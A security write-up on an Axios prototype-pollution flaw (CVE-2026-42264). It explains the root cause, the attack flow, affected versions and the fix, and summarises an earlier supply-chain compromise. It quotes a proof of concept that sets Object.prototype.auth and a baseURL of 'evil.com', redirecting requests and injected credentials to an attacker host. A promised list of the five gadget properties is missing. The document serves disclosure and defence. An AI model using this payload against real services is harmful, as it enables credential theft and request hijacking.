Axios CVE-2026-42264: Prototype Pollution Gadgets Enable Silent Request Hijacking and Credential Injection (PoC Included)

Introduction

Five configuration properties in the Axios HTTP adapter silently inherit attacker-controlled values from a polluted Object.prototype. Once that happens, every outbound request in the Node.js process is a potential credential leak or redirect to a malicious server. Axios has approximately 100 million weekly npm downloads, and this prototype pollution gadget chain affects versions 1.0.0 through 1.15.1 (CVE-2026-42264, CVSS 7.4). That is a significant exposure surface for any organization whose Node.js services include third-party dependencies capable of polluting prototypes.

Technical Information

Root Cause: Missing hasOwnProperty Guards

The vulnerability comes from an asymmetry between how Axios merges configuration and how it reads it. The mergeConfig() function iterates using Object.keys(), which only returns own enumerable properties. When neither the defaults nor the user-supplied configuration explicitly sets the five affected properties, they never become own properties of the merged configuration object.

The HTTP adapter, however, reads these properties via direct property access (e.g., config.auth, config.baseURL). In JavaScript, direct property access traverses the prototype chain. If another dependency in the same process has polluted Object.prototype, the adapter silently picks up the attacker-controlled values.

Axios already had an own() helper function guarding eight other properties against this exact attack pattern. Versions prior to 1.15.2 did not apply it to the five vulnerable properties.

The Five Gadget Properties

Each of the five unguarded properties maps to a concrete abuse path:

Attack Flow

1. Precondition: Another dependency in the same Node.js process performs prototype pollution. This could happen through a vulnerable deep merge utility, a query string parser, or a similar gadget. The attacker sets properties on Object.prototype such as auth, baseURL, or socketPath.

2. Configuration merge: When Axios starts a request, mergeConfig() builds the final configuration object. Because Object.keys() only returns own properties, the polluted keys do not appear in the merged config as own properties.

3. Adapter reads polluted values: The HTTP adapter accesses config.auth, config.baseURL, and the rest via direct property lookup. JavaScript's prototype chain resolution finds the attacker-controlled values on Object.prototype.

4. Silent exploitation: Depending on which properties are polluted, the attacker gets credential injection (via auth), request redirection (via baseURL), SSRF to Unix sockets (via socketPath), arbitrary code execution during redirects (via beforeRedirect), or a weakened HTTP parser (via insecureHTTPParser). All of this happens silently on every outbound Axios request.

Proof of Concept

A public, vendor-published proof of concept exists for CVE-2026-42264. It sits inside the official GitHub Security Advisory GHSA-q8qp-cvcw-x6jj, which Axios maintainer jasonsaayman published on April 24, 2026.

The PoC below is copied verbatim from the advisory:

const axios = require('axios');

// Prototype pollution from a vulnerable dependency in the same process
Object.prototype.auth = { username: 'attacker', password: 'exfil' };
Object.prototype.baseURL = 'https://evil.com';

await axios.get('/api/users');
// Request is sent to: https://evil.com/api/users
// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=
// Attacker receives both the request and injected credentials

Exploitation mechanics: When another dependency in the same Node.js process performs prototype pollution (e.g., via a deep merge or query string parsing gadget), the attacker sets Object.prototype.auth, Object.prototype.baseURL, or both. Because mergeConfig() uses Object.keys({...config1, ...config2}), which only returns own enumerable properties, the polluted keys are absent from the merged config object. The HTTP adapter then reads them via direct property access (e.g., config.auth at lib/adapters/http.js line 617), which traverses the prototype chain and retrieves the attacker's values.

Impact demonstrated by the PoC:

• Credential injection: Axios silently adds an attacker-controlled Authorization: Basic ... header to every outbound request.
• Request hijacking: All requests using relative URLs go to the attacker's server (https://evil.com).
• Additional gadgets: The advisory also documents three gadgets the minimal PoC does not show: SSRF via socketPath (redirect to internal Unix sockets, e.g., Docker daemon), arbitrary code execution via beforeRedirect (attacker-supplied callback), and HTTP parser weakening via insecureHTTPParser (enabling request smuggling).

The fix landed in the v1.x branch on April 20, 2026, via PR #10779 (commit 47915144662f2733e6c051bdcb895a8c8f0586aa), and shipped in version 1.15.2.

Affected Systems and Versions

• Package: axios (npm)
• Vulnerable versions: 1.0.0 through 1.15.1 (inclusive)
• Fixed version: 1.15.2
• Affected component: Node.js HTTP adapter (lib/adapters/http.js) and configuration resolution (lib/helpers/resolveConfig.js)
• CWE: CWE-1321 (Improperly Controlled Modification of Object Prototype Attributes, commonly known as Prototype Pollution)
• Precondition: Exploitation requires a separate prototype pollution source in the same Node.js process. That can be any dependency that performs unsafe deep merging, query string parsing, or similar operations on attacker-controlled input.

Older, widely deployed versions such as 1.13.2 remain exposed to these gadget surfaces whenever anything in the process pollutes a prototype.

Vendor Security History

This CVE follows a supply chain compromise. On March 31, 2026, an attacker gained access to a lead maintainer account and published malicious versions 1.14.1 and 0.30.4. These versions injected a dependency called plain-crypto-js that installed a remote access trojan. Telemetry from Elastic Security Labs confirmed that affected organizations were running the malicious code in production.

In response, the Axios team adopted OpenID Connect trusted publishing, added GitHub Actions security scanners, pinned all action references to full commit hashes, and narrowed workflow permissions to least privilege. Those changes show a maturing security posture. Still, two incidents this close together (a supply chain compromise in March, a prototype pollution disclosure in April/May) are a good reason to monitor Axios updates continuously.

References

• NVD Entry for CVE-2026-42264
• GitHub Security Advisory GHSA-q8qp-cvcw-x6jj
• Fix Commit: 47915144662f2733e6c051bdcb895a8c8f0586aa
• Pull Request #10779: fix: more header pollutions
• Axios Release v1.15.2
• Tenable CVE-2026-42264
• Snyk: axios 1.13.2 Vulnerability Database
• Elastic Security Labs: Inside the Axios Supply Chain Compromise
• Elastic Security Labs: How We Caught the Axios Supply Chain Attack
• Axios Post Mortem: npm Supply Chain Compromise (Issue #10636)